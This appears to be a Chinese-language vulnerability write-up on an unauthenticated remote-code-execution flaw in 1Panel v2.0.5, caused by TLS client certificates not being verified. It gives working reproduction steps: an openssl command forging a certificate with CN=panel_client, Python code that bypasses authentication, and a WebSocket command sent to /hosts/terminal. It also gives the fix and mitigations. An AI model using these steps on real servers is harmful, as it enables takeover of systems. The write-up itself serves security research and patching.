1Panel未授权RCE漏洞分析
字数 1128 2025-09-01 11:26:02
1Panel未授权RCE漏洞分析与复现指南
漏洞概述
1Panel是一款开源的Linux服务器运维管理面板,在v2.0.5版本中存在一个严重的未授权远程代码执行(RCE)漏洞。该漏洞源于TLS客户端证书验证机制存在缺陷,攻击者可以通过伪造客户端证书绕过认证,进而执行任意命令。
影响版本
- 1Panel v2.0.5及之前版本
漏洞原理
TLS认证机制缺陷
漏洞的核心在于1Panel的TLS认证策略配置不当:
ClientAuth: tls.RequireAnyClientCert
这个策略仅要求客户端提供证书,但不验证证书的可信性。因此任何格式正确的自签名证书都能通过TLS握手。
二次验证绕过
虽然系统会检查客户端证书的CommonName(CN)字段是否为"panel_client",但由于不验证证书合法性,攻击者可以:
- 生成自签名证书
- 设置CN=panel_client
- 绕过认证
环境搭建
安装1Panel v2.0.5
- 下载安装包:
bash -c "$(curl -sSL https://resource.fit2cloud.com/1panel/package/v2/quick_start.sh)"
- 如需指定版本,可下载特定版本安装包后手动安装
漏洞复现步骤
1. 生成伪造证书
使用OpenSSL生成自签名证书,设置CN=panel_client:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=panel_client"
或使用Python脚本自动化生成。
2. 验证证书有效性
发送带有伪造证书的HTTP请求验证是否绕过认证:
import requests
cert = ('cert.pem', 'key.pem')
response = requests.get('https://target:port/api/endpoint', cert=cert, verify=False)
3. 建立WebSocket TLS连接
成功绕过认证后,建立WebSocket TLS连接:
import websockets
async def exploit():
ssl_context = ssl.create_default_context()
ssl_context.load_cert_chain('cert.pem', 'key.pem')
async with websockets.connect('wss://target:port/hosts/terminal', ssl=ssl_context) as websocket:
# 执行命令
await websocket.send('{"type":"cmd","command":"whoami"}')
result = await websocket.recv()
print(result)
4. 执行任意命令
通过以下接口执行命令:
-
进程信息获取接口:
- 路由地址:
/process/ws - 请求格式: WebSocket消息
- 路由地址:
-
终端命令执行接口(主要RCE利用点):
- 路由地址:
/hosts/terminal - 请求格式:
{ "type": "cmd", "command": "要执行的命令" }
- 路由地址:
漏洞分析
路由鉴权机制
- 路由文件定义了不同功能对应的端点
- 访问路由需要加上前缀
- 验证使用
middleware.Certificate()中间件
TLS验证实现
具体实现在agent/server/server.go中:
- 使用
tls.RequireAnyClientCert策略 - 仅检查证书CN是否为"panel_client"
- 不验证证书合法性
漏洞修复
官方修复方案:
- 修改TLS认证策略为:
ClientAuth: tls.RequireAndVerifyClientCert - 要求客户端提供证书并验证合法性
- 只接受服务端签发的证书
修复提交:
https://github.com/1Panel-dev/1Panel/pull/9698/commits/4003284521f8d31ddaf7215d1c30ab8b4cdb0261
安全建议
- 立即升级到最新版本
- 如无法立即升级,限制面板管理端口访问
- 监控异常证书验证请求
免责声明
本文档仅供安全研究和学习使用。任何因传播、利用本文档信息而产生的直接或间接后果或损害,均由使用者自行承担。